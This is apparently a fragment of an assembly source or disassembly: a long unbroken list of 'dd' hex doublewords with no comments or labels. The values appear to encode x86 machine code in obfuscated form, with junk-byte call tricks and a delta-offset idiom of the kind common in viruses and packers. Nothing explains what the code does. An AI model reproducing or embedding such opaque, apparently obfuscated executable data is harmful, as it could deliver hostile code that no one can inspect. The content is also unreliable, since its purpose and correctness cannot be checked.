		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0DF7DC353h, 0A544E773h, 310D321Eh, 0D381F98Ah
		dd 3FF348E0h, 0A350B5FFh, 0FB8B05EAh, 2870Fh, 0FE8B0000h
		dd 4195FFh, 50F505E7h, 0FE8h, 0BB5B6A00h, 6A9907CFh, 0A4A9C338h
		dd 8B7C3F52h, 9CBF6651h, 895F5B12h, 0F602434h, 285h, 81FE8B00h
		dd 0F593F2D9h, 0B5FF6136h, 5EAA350h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0DDC35040h,	0C9D0BDEFh, 5F54232Fh
		dd 2CF18531h, 8B6605E7h, 995FFDEh, 2905E72Ah, 0E70671BDh
		dd 0F9BD8305h, 5E704h, 60840Fh,	11E90000h, 51000000h, 85BB397Dh
		dd 7B79121Eh, 0C44DDC3Ch, 2E869005h, 6E850h, 828E0000h
		dd 0BB987C3Eh, 6E8h, 0DDF4A300h, 662E3603h, 5F5BFB8Bh
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 787AC355h, 2FAA6E4Ah, 1B2163BBh
		dd 0CF816632h, 0B5FF6C66h, 5EAA350h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0CEC35242h,	0E5FA750Dh, 0F36104DCh
		dd 0CE9h, 0E772A300h, 0CE4B396Dh, 6E72887Ch, 1D95FF62h
		dd 6A05E707h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B92C353h, 0E71BF19Dh,	50B5FF05h
		dd 8905EAA3h, 0E731C58Dh, 0C595FF05h, 6A05E70Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8357C350h, 0E725CDBDh, 840F0205h, 25h, 30E19D8Bh, 858B05E7h
		dd 5E70651h, 68B0Fh, 0BD8B0000h, 5E72761h, 600000C6h, 91D858Bh
		dd 0F28B05E7h, 0FD85C761h, 5E70Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0C804C350h, 8D89E2E5h, 5E70C89h, 1418531h, 11E905E7h
		dd 0E9FFFFF4h, 7, 5853AEACh, 8B364B41h,	0CDBD31C1h, 8D05E712h
		dd 0E71AF985h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 6120C96Bh, 50471F77h
		dd 88C0Fh, 890F0000h, 2, 4896160h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3E83BED2h
		dd 13469473h, 0CE90B9Bh, 85000000h, 0A750C4D2h,	8207B2F2h
		dd 8B8745BDh, 0E71B69BDh, 60006A05h, 96D9BE66h,	8E9h, 7A687000h
		dd 342B2AABh, 6A6173h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 20C35646h, 0DD983E86h, 4F7858Dh, 2BBF05ECh
		dd 8363CD95h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0BF4BD8C3h, 9D01DC0Dh, 5E71385h
		dd 60606090h, 8E961h, 0AAAF0000h, 0A125B356h, 6661252Bh
		dd 61EA72BFh, 8B606050h, 8F0FF8h, 61000000h, 6A9061h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A6A83C3h, 6A66C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0AC35242h, 193DA073h,	60006A76h, 14E8h
		dd 0D5997800h, 50524743h, 4DA4D2A5h, 0B929317Ch, 0FEA30378h
		dd 8C0F5BD9h, 2, 0FF61C88Bh, 0E702C595h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 2DBB889Eh, 8D7B7E2Fh, 0EA95148Dh, 16870F05h,	0F000000h
		dd 1082h, 0AE800h, 0C66B0000h, 0B18197AFh, 6B4E41E5h, 66D1FF5Fh
		dd 83F8FE8Bh, 0E707F1BDh, 850F0105h, 50h, 94D9529h, 26A05E7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 12C35242h
		dd 0DABF0F68h, 98BF6690h, 0F505056h, 682h, 0F525000h, 5F585A31h
		dd 95FFF590h, 5E70041h,	68E0Fh,	9D8B0000h, 5E71B31h, 0D61E9h
		dd 0E800h, 815D0000h, 0EC0501EDh, 0F8F78105h, 890B657Fh
		dd 0E7031D8Dh, 0F5B58905h, 8D05E707h, 0EA8F5B85h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D1BD2386h, 5005E722h, 0BE9h, 0CB06F500h, 4E6BCDA2h
		dd 0B9C29A6Dh, 0F240489h, 685h,	399D8900h, 6405E700h, 35FFh
		dd 89640000h, 25h, 0E4D78000h, 1DD38166h, 0E185FF8Ch, 6A05E71Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0B08BC356h, 0B5852957h, 5F05E72Ah, 6AFF6Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 31AF90C3h, 0C073AA7Ah, 0AE95269h, 0C1000000h, 0FAC9D53Fh
		dd 0E96B26C1h, 12E955h,	8760000h, 0EC96A46Dh, 26BFDEE5h
		dd 0D883D89h, 15C9267Fh, 2AB1B5FFh, 6A05E7h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 1F4286C3h
		dd 0F78110B8h, 1B250AD5h, 0E0D8589h, 95FF05E7h,	5E729C1h
		dd 116E9h, 0FE8B6600h, 70E600B0h, 0E47BEF80h, 0D7816671h
		dd 613C9579h, 0FD830Fh,	0BD8B0000h, 5E72621h, 53C8B60Fh
		dd 10E8h, 8B752400h, 41893242h,	94CD950Ah, 5E0FC248h, 840F93h
		dd 5F000000h, 6BA5Fh, 89530000h, 0E71B658Dh, 0C18B5F05h
		dd 24D9D8Bh, 0E8C105E7h, 8E904h, 0C8C90000h, 0A4BFEC30h
		dd 0F7665398h, 91EF81E2h, 2B6F8250h, 0E78166C8h, 0D18B2277h
		dd 6E9h, 0BB3B2600h, 0E9CC9A6Fh, 8Fh, 6F3EF2BFh, 49858B5Ch
		dd 8B44004Eh
		dd 0E700F99Dh, 7C08305h, 0C5B58952h, 5B05E700h,	6000C083h
		dd 6880FFCh, 8B000000h,	0E707BDB5h, 0D03B6105h,	0C830Fh
		dd 0BB660000h, 50E99CC8h, 80000000h, 8D8BDCCBh,	0FFFFFFFFh
		dd 13E9h, 0F14C4800h, 0CCE47AD3h, 6AFE421Fh, 980A467h
		dd 3792C7B5h, 0F01E183h, 2684h,	426EBB00h, 0A583204Ah
		dd 0FFFFFFFFh, 0D9B70FFEh, 4E499589h, 0BD8B4400h, 5E7014Dh
		dd 2D119589h, 0E905E7h,	8D000000h, 0EB8243B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D098B49h, 5E7003Dh,	0BE9h, 0F0A31D00h, 0CCAA8D8Ah
		dd 0C9E4CD65h, 0CE8h, 0D76D4D00h, 7CE4EA94h, 0BA0BFCFEh
		dd 6A5B43h, 10E9h, 3AFD2600h, 0C3B96297h, 736A0238h, 0A45A3F00h
		dd 1D95FFD5h, 8905E71Ah, 0E70BF59Dh, 1000B905h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0B46248C3h, 9D8B76BBh, 5E72145h, 6AFCE183h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FE7EC355h, 0EF81668Eh, 6AFC2E12h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 4E13C357h
		dd 742BEA45h, 0E34DBF66h, 51BD23h, 9D2905E7h, 5E71B25h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 662EC731h, 0BDE9CF81h, 0A35282BBh
		dd 0FE8B6666h, 0BAh, 0FE8B6600h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E8816660h, 85893F1Eh, 5E70D81h,	0AE961h
		dd 0F7810000h, 25256F0Ch, 0C7111E3h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 544C3DE5h, 8F0F4E16h, 10h, 0BE9h, 284FB400h,	0E203A9C8h
		dd 5C8DDC7Ch, 2315958Bh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 8C5F4EC3h, 0B98D8B61h
		dd 6A05E708h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0D371C355h, 735D3FAh, 1021DDFh
		dd 0E70E958Dh, 32CB8105h, 500A8AABh, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0DDBD2B58h, 6A05E720h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 316FC356h, 77B3573Ah, 0DEB70F5Bh, 211DBD83h,	0F0005E7h
		dd 5484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 10616303h, 8BF414F3h, 0E70D31BDh
		dd 0B805h, 95890000h, 5E70101h,	0F08ABB66h, 4DFA8D8Dh
		dd 9D2905E7h, 5E72D1Dh,	0F60E1FFh, 688h, 0C9BD0900h, 0FC05E720h
		dd 99BD8361h, 5E70Ch, 3A7840Fh,	0BF660000h, 0BD8324C2h
		dd 5E70C99h, 0B1840F01h, 0E9000003h, 14h, 68997582h, 0D0BDEFDDh
		dd 54232FC9h, 30C4325Fh, 0B4D215A8h, 0C99BD83h,	0F0305E7h
		dd 35586h, 7E800h, 0EA250000h, 43A380Bh, 68B0FB7h, 89000000h
		dd 0E722D1B5h, 66605F05h, 8C66FE8Bh, 55006AD9h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0A0377BAAh
		dd 8041B011h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FC73FEC3h, 12619529h, 0C90A05E7h
		dd 0F2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 9A1317C3h, 0DA80BFA8h, 8BDFBF0Fh
		dd 0E7072D85h, 9D9D8B05h, 3305E70Ch, 0E72E8185h, 0FE905h
		dd 3E580000h, 0CD72A17Ah, 3250C9BBh, 895DB57Fh,	11E8909Ah
		dd 0DD000000h, 64E753CBh, 2F16C7A9h, 0DBCAC1B6h, 167B6B88h
		dd 0CE9h, 0FD835300h, 94A953B5h, 2ADB5CF4h, 8B505F3Bh
		dd 880F90DEh, 6, 0CEDBD8Bh, 6A05E7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 6C35141h, 41016941h, 812908D2h
		dd 0AA6D5ADBh, 3EAC681Ch, 34812551h, 4E3D5324h,	0AD9D8925h
		dd 0FF05E71Bh, 0E720E595h, 0A1BD8B05h, 0F05E707h, 687h
		dd 31BD0B00h, 8905E722h, 0EAA35085h, 0ADBD8B05h, 0E905E70Eh
		dd 1A3h, 0F59D0351h, 5B05E70Ah,	0A348858Bh, 8D8905EAh
		dd 5E707EDh, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 4C5C37C3h, 85EE2C5h
		dd 23CBD6C5h, 0E70D319Dh, 39B58905h, 8B05E700h,	0EAA34CB5h
		dd 31BD8B05h, 8105E722h, 0B78228F7h, 81858B6Ch,	0E905E700h
		dd 12h,	9458508Fh, 67DBB795h, 6311454Fh, 7E59CAAFh, 68937E1h
		dd 26A9B531h, 858B05E7h, 5E7072Dh, 0E9A426BFh, 446897Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h
		dd 90C8A9CFh, 0DFEC5043h, 8D0F68h, 50000000h, 5F575752h
		dd 34895F5Fh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 68B0F44h,	3000000h, 0E72759BDh, 7820F05h
		dd 57000000h, 69EB8166h, 0B5FF5BD6h, 5EAA348h, 0A84968F8h
		dd 0BF662685h, 34811D57h, 9AABB624h, 51006A26h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 8CF1AFD0h
		dd 0D6EFD0F3h, 858DEAFDh, 5EAA350h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 2AC35646h, 1378291Eh, 0BD8B9D45h
		dd 5E72AC1h, 7E990h, 119A0000h,	0D4843FEAh, 0AABB5018h
		dd 9073EA30h, 6D1BD8Bh,	95FF05E7h, 5E720E5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 88C35646h, 61B19B41h
		dd 6810Fh, 0BD310000h, 5E71281h, 0C9985C7h, 305E7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CF2282C3h, 0B5892A04h, 5E729CDh, 0A350BD83h, 0F0005EAh
		dd 0D84h, 0C5B50900h, 0B705E71Ch, 1BE948h, 30500000h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A0680680h, 53606D18h, 605E5952h, 0BE88BA66h, 10E9h
		dd 2AC92500h, 6BC9C491h, 840491EAh, 0FE47CFFBh,	83616195h
		dd 0E70C99BDh, 850F0305h, 408h,	671BD8Bh, 8D8905E7h, 5E721B9h
		dd 0A350BD83h, 0F0005EAh, 3EF84h, 5BFC5200h, 0A350B5FFh
		dd 0BD8B05EAh, 5E70CA1h, 2D6995FFh, 59B305E7h, 0A344B58Bh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0FC30B8C3h, 0AE875h, 5CB90000h, 0E89CDAEEh
		dd 4BE969B9h, 28D0Fh, 5B570000h, 106C75Fh, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 2A5AC355h, 8D092704h, 5E702EDh, 0D08B6050h, 24348961h
		dd 2B11BD2Bh, 0B5FF05E7h, 5EAA350h, 95FFDC8Ah, 5E7247Dh
		dd 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 32C35141h, 0A20EFF0Eh
		dd 8D0F60F2h, 6, 20F98D8Bh, 665305E7h, 0F0C4F681h, 0B58B615Bh
		dd 5EAA344h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	70C35242h, 0E0BF6642h, 0CFDB81DEh, 8B631C1Dh, 0E703CD85h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8B66609Ah, 0C48689F8h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0D22DC352h, 9D2B9FFCh, 5E72BB5h, 8BF98B66h, 0E7231595h
		dd 0E19D8B05h, 8305E72Bh, 0EE904C2h, 99000000h,	0F1ED4C04h
		dd 7C2BD2E2h, 48105077h, 205089EEh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 61C35343h, 50261554h, 21898529h
		dd 8D5B05E7h, 0EAB73285h, 52F98A05h, 0F98B6660h, 5B615E57h
		dd 0B88689h, 0E5BB0000h, 661FE3FBh, 6ADA8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DC35545h, 0AFEB768Eh
		dd 0CA63A22h, 50B5FF6Ch, 6605EAA3h, 0AA3AEB81h,	4195FFh
		dd 950105E7h, 5E70269h,	0B393BB96h, 505070F3h, 9E952h
		dd 698A0000h, 0D2A33744h, 0FF87342h, 96585A31h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8AC35242h, 8E87Ch
		dd 0D5590000h, 0D9AB5F83h, 10E9086Fh, 57000000h, 4CA8C124h
		dd 43F36D51h, 85C4CD45h, 5FD53FC1h, 0A350B5FFh,	8D8905EAh
		dd 5E71D11h, 2A0995FFh,	6E805E7h, 0F000000h, 77010787h
		dd 6800FBFh, 89000000h,	0E70191B5h, 0BD835B05h,	5E704F9h
		dd 40840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0DAFEC356h,	0ABACB5CCh
		dd 892FE754h, 0E7024D8Dh, 19958905h, 5005E70Dh,	0FBBF6650h
		dd 34895B9Dh, 118D2924h, 0FF05E71Dh, 0EAA350B5h, 85896005h
		dd 5E72305h, 0FE957h, 3A2F0000h, 6043E021h, 0F2CC6942h
		dd 0CE099B79h, 0FF615F92h, 0E7071D95h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 14127BA7h, 2A55BD8Bh, 0B5FF05E7h, 5EAA350h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 10C35646h, 0B4EEEE48h
		dd 0CC595FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0AE4850C3h, 812DDFD7h, 0D3EBA9CFh
		dd 0DEB70F1Fh, 25CDBD83h, 0F0205E7h, 5A84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 2F10D72h, 13B99D8Bh,	858B05E7h, 5E70651h, 313DB589h
		dd 0C605E7h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0C4D71D52h, 959D8BC7h, 0C705E70Dh
		dd 0E70DFD85h, 5, 58D0F00h, 66000000h, 7C05CF81h, 0FFF393E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 228DF298h, 9C91D2A0h, 6AC18Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 429180C3h
		dd 5FD38166h, 0CF8166CCh, 858D9A44h, 5E71AF9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DFC35141h, 0DEE88B2Bh
		dd 0EF816644h, 0E9908B16h, 5, 22A0D269h, 89905035h, 0E73131BDh
		dd 6AFC05h, 9559589h, 6A05E7h, 11E8h, 30BE0100h, 0BFDF9942h
		dd 5C7D7271h, 3E5C69F2h, 61BF8016h, 5B5FEDF5h, 1465858Dh
		dd 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6F34B7C3h, 0B58950BDh, 5E70945h, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 5E08C356h, 29ED8D89h, 9D8B05E7h, 5E71281h
		dd 5E890h, 12E30000h, 66806DCCh, 505BD98Bh, 0AFEDEDBBh
		dd 6A904Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0BE6ED6C3h, 54DBD29h, 6A05E7h, 0FC006AF9h
		dd 2C595FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD89C7C3h, 5E71345h, 796FBB66h
		dd 1C059D89h, 8D8D05E7h, 5EA9514h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 6AC35646h, 0A77C7BB9h, 0D380277Eh
		dd 60D1FF54h, 66F6BF0Fh, 0EF55F281h, 6E961h, 0F41D0000h
		dd 5B7B5E67h, 7F1BD83h,	0F0105E7h, 8985h, 6A026A00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 6BBCC351h, 0C369835Fh, 8D295768h, 5E70625h, 0BE666050h
		dd 8961D2E9h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0D47F8BC3h, 95FF4F55h, 5E70041h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h
		dd 0BD8BF480h, 5E72B61h, 5E9h, 12CF00h,	0D6E92064h, 0E800000Dh
		dd 0
		dd 6FED815Dh, 8005EC14h, 6A10D7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 54BB62C3h, 23EC9877h
		dd 0E72C15BDh, 0AE905h,	8FC10000h, 1A2E0294h, 0B6ACA96h
		dd 8D2AE780h, 0EA8F5B85h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FFFF05Eh
		dd 8Ah,	0F8C0F00h, 0E9000000h, 0Ah, 8CD79534h, 3B86C719h
		dd 5650FBDBh, 5A6644BFh, 4895F32h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7B9B63DDh
		dd 5830FE6h, 0BF000000h, 5C180E90h, 35FF64h, 64000000h
		dd 2589h, 5CBB0000h, 0FF30941Ah, 0E71CE185h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F76413Dh, 1C8Dh, 16870F00h,	0E9000000h, 11h, 0A315FA9h
		dd 69E82CE5h, 5E36F3CAh, 0DE16E434h, 6AFF6A2Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0D83BC355h, 0B5FF2648h, 5E72E65h, 95FFFE8Ah,	5E729C1h
		dd 118E9h, 9E900h, 35C80000h, 1CE2636Eh, 0B0A31B61h, 4DEB8000h
		dd 852970E6h, 5E70EDDh,	9E871E4h, 0D9000000h, 0C12D8E32h
		dd 4AA1A217h, 1C818529h, 665B05E7h, 83CD781h, 830F613Ch
		dd 0D9h, 0FF9BF0Fh, 0B60FFFB7h,	8ABF66C8h, 6BAFAh, 89560000h
		dd 0E71AE995h, 0C18B5F05h, 0F04E8C1h, 178Ch, 12E900h, 0D010000h
		dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh,	66E2F766h
		dd 8D89FB8Bh, 5E700F5h,	0B529C82Bh, 5E71B29h, 1B359D8Bh
		dd 0D18B05E7h, 7CE9h, 4C858B00h, 0F505F4Ch, 83FCFBBFh
		dd 96BF07C0h, 8319D33Ch, 896000C0h, 0E707F595h,	0C8F0F05h
		dd 0E8000000h, 6, 0D7A225DAh, 6158C943h, 830FD03Bh, 11h
		dd 274DBD89h, 3AE905E7h, 89000000h, 0E7064D95h,	0FF8D8B05h
		dd 89FFFFFFh, 0E7234DB5h, 0E183F505h, 1E840F01h, 3000000h
		dd 0E7174D9Dh, 0FFA58305h, 0FEFFFFFFh, 22ADBD8Bh, 958905E7h
		dd 505F4C4Ch, 0E9h, 43B58D00h, 0FC05EB92h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0DA32CDC3h, 0DA8B6648h, 1A1D95FFh, 0D98A05E7h, 0F4CB9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 1C1D0938h, 0DB81668Ah, 0E18346A5h, 6AFCFCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 840FEDC3h, 6, 162D9D8Bh, 0B805E7h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 450DC356h, 56183CD7h, 2E4D8D89h, 0BA5B05E7h,	0
		dd 9214BB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6CC35545h, 0EF813703h
		dd 64D74DCFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	6BC35242h, 17019D89h, 880D05E7h, 0E9000000h, 9
		dd 233FDF19h, 0B9E30D24h, 15958BE2h, 6A05E723h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 82A6C357h, 8BDA8B66h, 0E708B98Dh, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 585901Ah, 781C4BB7h
		dd 0C28B508Ch, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh
		dd 0C85h, 0BE666000h, 8D2B92B7h, 5E702BDh, 51006A61h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 6840FCAh, 89000000h,	0E70571B5h, 83D98B05h, 0E7211DBDh
		dd 840F0005h, 61h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 36C35242h, 8A513318h,	0B836E454h, 0
		dd 8D8D4FB3h, 5E74DFAh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 66C35343h, 37C6439Eh,	0BBA26105h, 0FFB70F94h
		dd 0E1FFFD8Ah, 0DDEB8166h, 99BD83FBh, 5E70Ch, 416840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0AA6492C3h, 6FB12B3Dh, 38F0Fh, 0BF0F0000h
		dd 99BD83D8h, 105E70Ch,	3F9840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4471D9C3h
		dd 2F91977Fh, 0BD83F9BBh, 5E70C99h, 92860F03h, 60000003h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BBC35242h
		dd 0B70FB5DEh, 0D98C66F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 75C35646h, 0F59182Ch,	0F98AD9B7h, 0E180F88Bh
		dd 0AE904h, 86B80000h, 54FFB486h, 21085A9Bh, 840FC90Ah
		dd 170h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	33C35040h, 559D8BB8h, 8B05E72Ch, 0E7072D85h, 0F9B70F05h
		dd 2E818533h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 12DCABC3h, 4BCE605Fh, 30C9BD89h
		dd 0E95005E7h, 6, 0EE3D7FEAh, 4891C49h,	57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 38BA3E98h, 0B530C7B3h, 816660A8h, 162D6DBh, 0E704658Dh
		dd 6A006A05h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 67C5C353h, 5DB46C89h, 0B529D172h
		dd 5E70875h, 19077D68h,	0E0BF6644h, 24348104h, 44060482h
		dd 1BC78166h, 0E595FF30h, 6A05E720h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8CEDC351h
		dd 7988A98Fh, 85899C31h, 5EAA350h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 31C35141h, 5E86D5Dh, 6D000000h
		dd 0B94136CCh, 98D9D8Bh, 0E95F05E7h, 175h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 8AC35040h, 30CD79ECh
		dd 55BD8B3Bh, 0E905E72Ch, 8, 200DBB01h,	20ED1585h, 0A348858Bh
		dd 852905EAh, 5E708C1h,	1800C7h, 8F0F0000h, 2Bh, 0DE8h
		dd 41AD0400h, 0BAF195C6h, 0A420E6C1h, 13E92D5Bh, 8E000000h
		dd 0EA429371h, 0B5C83402h, 1B1AE5B0h, 0E933DA2h, 8B5B94EEh
		dd 0EAA34CB5h, 0BA666005h, 25B5E246h, 81858B61h, 0E905E700h
		dd 10h,	71036680h, 609B8ACEh, 3B64696Ah, 30D21911h, 0BD890689h
		dd 5E70E6Dh, 72D858Bh, 0B50105E7h, 5E7064Dh, 0F9044689h
		dd 8B525050h, 57310FDEh, 0EC4F15BFh, 585A5F31h,	81243489h
		dd 56D299C7h, 48B5FF71h, 0F05EAA3h, 4E8FAB7h, 0FF000000h
		dd 0E9001F03h, 10h, 8540211Ah, 4E050275h, 1DC679E7h, 8D8AF0A3h
		dd 5E950h, 0C3520000h, 8BD5784Bh, 8A042444h, 89008BF9h
		dd 8B042444h, 858958F8h, 5E71B21h, 0A350858Dh, 958905EAh
		dd 5E7084Dh, 8B665390h,	50505BDAh, 1151BF52h, 310F3CDBh
		dd 0DB6DBF53h, 5A5F603Dh, 8A0F9058h, 5,	9DD78166h, 0FF52B7D4h
		dd 0E720E595h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B43E8B6h, 0E72DA9BDh
		dd 6A6105h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
